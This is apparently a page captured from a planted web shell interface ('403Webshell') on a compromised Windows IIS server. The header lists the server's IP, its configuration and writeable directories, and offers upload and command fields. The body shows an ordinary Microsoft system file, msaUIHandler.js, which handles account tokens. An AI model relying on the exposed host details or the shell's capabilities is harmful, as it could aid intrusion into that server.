403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Windows/SystemApps/Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Windows/SystemApps/Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy/js/msaUIHandler.js
//
// Copyright (C) Microsoft. All rights reserved.
//
/// <disable>JS2085.EnableStrictMode, JS2055.DoNotReferenceBannedTerms</disable>
"use strict";
var CloudExperienceHost;
(function (CloudExperienceHost) {
    var Crypto = Windows.Security.Cryptography;
    class MSAUIHandlerInternal {
        constructor(appView, tokenOperation) {
            this._webAppTelemetry = CloudExperienceHost.Telemetry.WebAppTelemetry.getInstance();
            if (!this._webAppTelemetry.isStarted()) {
                this._webAppTelemetry.start("msaUIHandler");
            }
            this._appView = appView;
            this._registerNgcOperation = null;
            this._tokenBrokerOperation = tokenOperation; // Passed by tokenProviderManager
            WinJS.Namespace.define("CloudExperienceHost.MSAUIHandler", {
                saveAuthenticationState: this.saveAuthenticationState.bind(this),
                saveAuthStateAndCompleteWebFlow: this.saveAuthStateAndCompleteWebFlow.bind(this),
                getVerificationCode: this.getVerificationCode.bind(this),
                updateLogonCache: this.updateLogonCache.bind(this),
                completeWebFlow: this.completeWebFlow.bind(this)
            });
        }
        getTokenOperation() {
            return this._tokenBrokerOperation;
        }
        _buildTicketRequest(target, policy, onComplete, onError) {
            // Set PostTicketToUrlOperation
            let webFlowRequest;
            webFlowRequest = new MicrosoftAccount.TokenProvider.Core.PostTicketToUrlOperation();
            webFlowRequest.url = target;
            webFlowRequest.policy = policy;
            webFlowRequest.onComplete = onComplete;
            webFlowRequest.onError = onError;
            webFlowRequest.isRequestTicketForUrlScenario = false;
            // Set TokenProviderOperation
            let tokenOperation;
            let user = null;
            if (CloudExperienceHostAPI.FeatureStaging.isOobeFeatureEnabled("MsaMuaFlows")) {
                user = CloudExperienceHost.IUserManager.getInstance().getIUser();
            }
            tokenOperation = new MicrosoftAccount.TokenProvider.Core.TokenBrokerOperation(user);
            tokenOperation.isRequestFromWebFlow = true;
            tokenOperation.isRequestFromUIFlow = true;
            tokenOperation.webFlowRequest = webFlowRequest;
            return tokenOperation;
        }
        requestTicketForUrl(data, msaTicketContext, navigate) {
            return new WinJS.Promise(function (completeDispatch, errorDispatch /*, progressDispatch */) {
                this._appView.showProgress().then(function () {
                    this._webAppTelemetry.logEvent("postTicketToReturnUrl");
                    if (this._tokenBrokerOperation) {
                        // Concurrent WAM operations are banned. Return ERROR_OPERATION_IN_PROGRESS
                        errorDispatch({ number: -2147024567 });
                        return;
                    }
                    var tokenOperation;
                    tokenOperation = this._buildTicketRequest(data.targetUrl, data.policy, 
                    // On success, navigate to target
                    function (returnUrl, result) {
                        this._tokenBrokerOperation = null;
                        completeDispatch(new CloudExperienceHost.RedirectEventArgs(returnUrl, null, result, result ? "POST" : "GET"));
                    }.bind(this), 
                    // On failure, invoke parent error handler in a manner consistent with exceptions.
                    function (error) {
                        this._tokenBrokerOperation = null;
                        errorDispatch({ number: error });
                    }.bind(this));
                    this._tokenBrokerOperation = tokenOperation;
                    tokenOperation.loadUrlInWebView = navigate;
                    tokenOperation.webFlowRequest.isRequestTicketForUrlScenario = true;
                    if (msaTicketContext) {
                        tokenOperation.scenarioId = msaTicketContext;
                    }
                    // Request ticket
                    var executor;
                    executor = new MicrosoftAccount.TokenProvider.Core.TokenProviderExecutor(tokenOperation);
                    executor.requestTicketForUrl();
                }.bind(this));
            }.bind(this));
        }
        requestLPTForUser(data, msaTicketContext, experienceName, navigate) {
            return new WinJS.Promise(function (completeDispatch, errorDispatch /*, progressDispatch */) {
                this._appView.showProgress().then(function () {
                    if (this._registerNgcOperation) {
                        // Concurrent NGC operations are banned. Return ERROR_OPERATION_IN_PROGRESS
                        this._webAppTelemetry.logEvent("concurrentNgcRequest", JSON.stringify({
                            correlationId: this._webAppTelemetry.getId()
                        }));
                        errorDispatch({ number: -2147024567 });
                        return;
                    }
                    this._webAppTelemetry.logEvent("requestLPTForUser", JSON.stringify({
                        returnUrl: data.returnUrl,
                        useStrongAuth: data.useStrongAuth,
                        experienceName: experienceName,
                        correlationId: this._webAppTelemetry.getId(),
                    }));
                    var purpose = data.useStrongAuth == true ? "PURPOSE_KEYREGISTER" : "PURPOSE_KEYREGISTER_WEAK";
                    var tokenOperation;
                    tokenOperation = this._buildTicketRequest("http://passport.net/purpose", purpose, 
                    // On success, return LPT
                    function (ignoredUrl, logonProofToken) {
                        this._registerNgcOperation = null;
                        this._webAppTelemetry.logEvent("requestLPTForUser", JSON.stringify({
                            experienceName: experienceName,
                            correlationId: this._webAppTelemetry.getId(),
                            hr: 0
                        }));
                        completeDispatch(logonProofToken);
                    }.bind(this), 
                    // On failure, invoke parent error handler in a manner consistent with exceptions.
                    function (error) {
                        this._registerNgcOperation = null;
                        this._webAppTelemetry.logEvent("requestLPTForUser", JSON.stringify({
                            experienceName: experienceName,
                            correlationId: this._webAppTelemetry.getId(),
                            hr: error
                        }));
                        errorDispatch({ number: error });
                    }.bind(this));
                    this._registerNgcOperation = tokenOperation;
                    tokenOperation.loadUrlInWebView = navigate;
                    if (msaTicketContext) {
                        tokenOperation.scenarioId = msaTicketContext;
                    }
                    // Request ticket
                    var executor;
                    executor = new MicrosoftAccount.TokenProvider.Core.TokenProviderExecutor(tokenOperation);
                    executor.requestLPTForUser(data.puid || "", data.username || "", data.flowToken || "");
                }.bind(this));
            }.bind(this));
        }
        registerNGCForUser(data, msaTicketContext, experienceName, navigate) {
            return new WinJS.Promise(function (completeDispatch, /* _onTicketRequestComplete */ errorDispatch /*, progressDispatch */) {
                this.requestLPTForUser(data, msaTicketContext, experienceName, navigate).done(function (logonProofToken) {
                    // Create NGC
                    var extension = new MicrosoftAccount.UserOperations.ExtensionForUser();
                    let user = null;
                    if (CloudExperienceHostAPI.FeatureStaging.isOobeFeatureEnabled("MsaMuaFlows")) {
                        user = CloudExperienceHost.IUserManager.getInstance().getIUser();
                    }
                    let logonProofTokenBuffer = null;
                    if (logonProofToken) {
                        logonProofTokenBuffer = Crypto.CryptographicBuffer.convertStringToBinary(logonProofToken, Crypto.BinaryStringEncoding.utf8);
                    }
                    extension.createUserIdKeyForUserAsync(user, data.useStrongAuth, data.isNoPassword == true, data.username || "", data.puid || "", logonProofTokenBuffer).done(function () {
                        // Finish
                        this._webAppTelemetry.logEvent("registerNGCForUser", JSON.stringify({
                            useStrongAuth: data.useStrongAuth,
                            isNoPassword: (data.isNoPassword == true),
                            experienceName: experienceName,
                            correlationId: this._webAppTelemetry.getId(),
                            hr: 0
                        }));
                        completeDispatch(data.returnUrl);
                    }.bind(this), function (error) {
                        // Error for createUserIdkeyAsync
                        this._webAppTelemetry.logEvent("registerNGCForUser", JSON.stringify({
                            useStrongAuth: data.useStrongAuth,
                            isNoPassword: (data.isNoPassword == true),
                            experienceName: experienceName,
                            correlationId: this._webAppTelemetry.getId(),
                            hr: error.number
                        }));
                        errorDispatch(error);
                    }.bind(this));
                }.bind(this), errorDispatch /* Error for requestLPTForUser */);
            }.bind(this));
        }
        resetNGCForUser(data, msaTicketContext, experienceName, navigate) {
            return new WinJS.Promise(function (completeDispatch, /* _onTicketRequestComplete */ errorDispatch /*, progressDispatch */) {
                this.requestLPTForUser(data, msaTicketContext, experienceName, navigate).done(function (logonProofToken) {
                    // Reset NGC
                    var extension = new MicrosoftAccount.Extension.ExtensionWorkerForUser();
                    let user = null;
                    if (CloudExperienceHostAPI.FeatureStaging.isOobeFeatureEnabled("MsaMuaFlows")) {
                        user = CloudExperienceHost.IUserManager.getInstance().getIUser();
                    }
                    let logonProofTokenBuffer = null;
                    if (logonProofToken) {
                        logonProofTokenBuffer = Crypto.CryptographicBuffer.convertStringToBinary(logonProofToken, Crypto.BinaryStringEncoding.utf8);
                    }
                    extension.resetUserIdKeyForUserAsync(user, data.useStrongAuth, data.isNoPassword == true, msaTicketContext, data.username || "", data.puid || "", logonProofTokenBuffer).done(function () {
                        // Finish
                        this._webAppTelemetry.logEvent("resetNGCForUser", JSON.stringify({
                            useStrongAuth: data.useStrongAuth,
                            isNoPassword: (data.isNoPassword == true),
                            experienceName: experienceName,
                            correlationId: this._webAppTelemetry.getId(),
                            hr: 0
                        }));
                        completeDispatch(data.returnUrl);
                    }.bind(this), function (error) {
                        // Error for resetUserIdkeyAsync
                        this._webAppTelemetry.logEvent("resetNGCForUser", JSON.stringify({
                            useStrongAuth: data.useStrongAuth,
                            isNoPassword: (data.isNoPassword == true),
                            experienceName: experienceName,
                            correlationId: this._webAppTelemetry.getId(),
                            hr: error.number
                        }));
                        errorDispatch(error);
                    }.bind(this));
                }.bind(this), errorDispatch /* Error for requestLPTForUser */);
            }.bind(this));
        }
        updateLogonCache(requestId, puid, encryptedPassword) {
        }
        getVerificationCode() {
            let verificationCode = null;
            if (this._tokenBrokerOperation) {
                verificationCode = this._tokenBrokerOperation.receivedVerificationCode;
            }
            else {
                verificationCode = CloudExperienceHost.MSA.getVerificationCode();
            }
            if ((typeof (verificationCode) === 'undefined') ||
                verificationCode == "") {
                verificationCode = null;
            }
            return verificationCode;
        }
        saveAuthenticationState(data) {
            let tokenOperation = this._registerNgcOperation || this._tokenBrokerOperation;
            let dataFromWeb = new MicrosoftAccount.TokenProvider.Core.WebFlowResultData();
            let daTokenBuffer = null;
            if (data.daToken) {
                daTokenBuffer = Crypto.CryptographicBuffer.convertStringToBinary(data.daToken, Crypto.BinaryStringEncoding.utf8);
            }
            let sessionKeyBuffer = null;
            if (data.sessionKey) {
                sessionKeyBuffer = Crypto.CryptographicBuffer.decodeFromBase64String(data.sessionKey);
            }
            dataFromWeb.daTokenBuffer = daTokenBuffer;
            dataFromWeb.sessionKeyBuffer = sessionKeyBuffer;
            dataFromWeb.sessionKeyType = data.sessionKeyType || "";
            dataFromWeb.daTokenCreationTime = data.daTokenCreationTime || "";
            dataFromWeb.daTokenExpiryTime = data.daTokenExpiryTime || "";
            dataFromWeb.puid = data.puid || "";
            dataFromWeb.username = data.username || "";
            dataFromWeb.isCompleteWebFlow = false;
            var msaTokenProvider;
            msaTokenProvider = new MicrosoftAccount.TokenProvider.Core.TokenProviderExecutor(tokenOperation);
            return msaTokenProvider.saveAuthenticationState(dataFromWeb);
        }
        saveAuthStateAndCompleteWebFlow(status, requestId, puid, username, daToken, daTokenCreationTime, daTokenExpiryTime, sessionKey, flowToken, hr, hrInternal, sessionKeyType) {
            this._webAppTelemetry.logEvent("saveAuthStateAndCompleteWebFlow", hr);
            var tokenOperation = this._registerNgcOperation || this._tokenBrokerOperation;
            if (!tokenOperation) {
                this._webAppTelemetry.logEvent("undefinedTokenOperation");
                // The unhandled exception handler in tokenProviderManager calls this function, so throwing would cause infinite recursion.
                // The TokenProvider error handler page calls this function on "OK", so that would cause an infinite loop.
                // Nothing we can do here if the caller was WAM.
                return;
            }
            this._appView.showProgress().then(function () {
                if (tokenOperation.stopListeningForVerificationCode != null) {
                    // This will not exist in non-Token Broker flows. In those cases, we don't have to worry about cancelling anyway.
                    tokenOperation.stopListeningForVerificationCode();
                }
                var msaTokenProvider;
                msaTokenProvider = new MicrosoftAccount.TokenProvider.Core.TokenProviderExecutor(tokenOperation);
                if (this._isUndefined("status", status) === true) {
                    msaTokenProvider.failAuthentication("0xc0000163", "0xc0000163"); // 0xc0000163 - TYPE_E_UNDEFINEDTYPE
                    this._webAppTelemetry.logEvent("saveAuthStateAndCompleteStatus", "0xc0000163");
                    return;
                }
                if (status == CloudExperienceHost.AppResult.success) {
                    let dataFromWeb = new MicrosoftAccount.TokenProvider.Core.WebFlowResultData();
                    let daTokenBuffer = null;
                    if (daToken) {
                        daTokenBuffer = Crypto.CryptographicBuffer.convertStringToBinary(daToken, Crypto.BinaryStringEncoding.utf8);
                    }
                    let sessionKeyBuffer = null;
                    if (sessionKey) {
                        sessionKeyBuffer = Crypto.CryptographicBuffer.decodeFromBase64String(sessionKey);
                    }
                    dataFromWeb.daTokenBuffer = daTokenBuffer;
                    dataFromWeb.sessionKeyBuffer = sessionKeyBuffer;
                    dataFromWeb.sessionKeyType = sessionKeyType;
                    dataFromWeb.daTokenCreationTime = daTokenCreationTime;
                    dataFromWeb.daTokenExpiryTime = daTokenExpiryTime;
                    dataFromWeb.flowToken = flowToken;
                    dataFromWeb.puid = puid;
                    dataFromWeb.username = username;
                    dataFromWeb.isCompleteWebFlow = false;
                    msaTokenProvider.resumeAuthentication(dataFromWeb);
                }
                else {
                    if (this._isUndefined("hr", hr) === true) {
                        hr = "0xc0000163"; // STATUS_UNDEFINED_CHARACTER
                    }
                    msaTokenProvider.failAuthentication(hr, hrInternal);
                    this._isUndefined("hrInternal", hrInternal);
                }
                this._webAppTelemetry.logEvent("saveAuthStateAndCompleteStatus", JSON.stringify(status));
            }.bind(this));
        }
        completeWebFlow(data) {
            this._webAppTelemetry.logEvent("completeWebFlow", JSON.stringify(data.hr));
            var tokenOperation = this._registerNgcOperation || this._tokenBrokerOperation;
            if (!tokenOperation) {
                this._webAppTelemetry.logEvent("undefinedTokenOperation");
                // The unhandled exception handler in tokenProviderManager calls this function, so throwing would cause infinite recursion.
                // The TokenProvider error handler page calls this function on "OK", so that would cause an infinite loop.
                // Nothing we can do here if the caller was WAM.
                return;
            }
            this._appView.showProgress().then(function () {
                if (tokenOperation.stopListeningForVerificationCode != null) {
                    // This will not exist in non-Token Broker flows. In those cases, we don't have to worry about cancelling anyway.
                    tokenOperation.stopListeningForVerificationCode();
                }
                var msaTokenProvider;
                msaTokenProvider = new MicrosoftAccount.TokenProvider.Core.TokenProviderExecutor(tokenOperation);
                if (data.hr.toLowerCase() == "0x0") {
                    var dataFromWeb = new MicrosoftAccount.TokenProvider.Core.WebFlowResultData();
                    dataFromWeb.flowToken = data.flowToken || "";
                    dataFromWeb.puid = data.puid || "";
                    dataFromWeb.username = data.username || "";
                    dataFromWeb.isCompleteWebFlow = true;
                    msaTokenProvider.resumeAuthentication(dataFromWeb);
                }
                else {
                    msaTokenProvider.failAuthentication(data.hr, data.hrInternal);
                }
                this._webAppTelemetry.logEvent("completeWebFlow done");
            }.bind(this));
        }
        _isUndefined(paramName, param) {
            if ((typeof (param) === 'undefined')) {
                this._webAppTelemetry.logEvent("isUndefined", paramName);
                return true;
            }
            return false;
        }
    }
    CloudExperienceHost.MSAUIHandlerInternal = MSAUIHandlerInternal;
})(CloudExperienceHost || (CloudExperienceHost = {}));
//# sourceMappingURL=msauihandler.js.map

Youez - 2016 - github.com/yon3zu
LinuXploit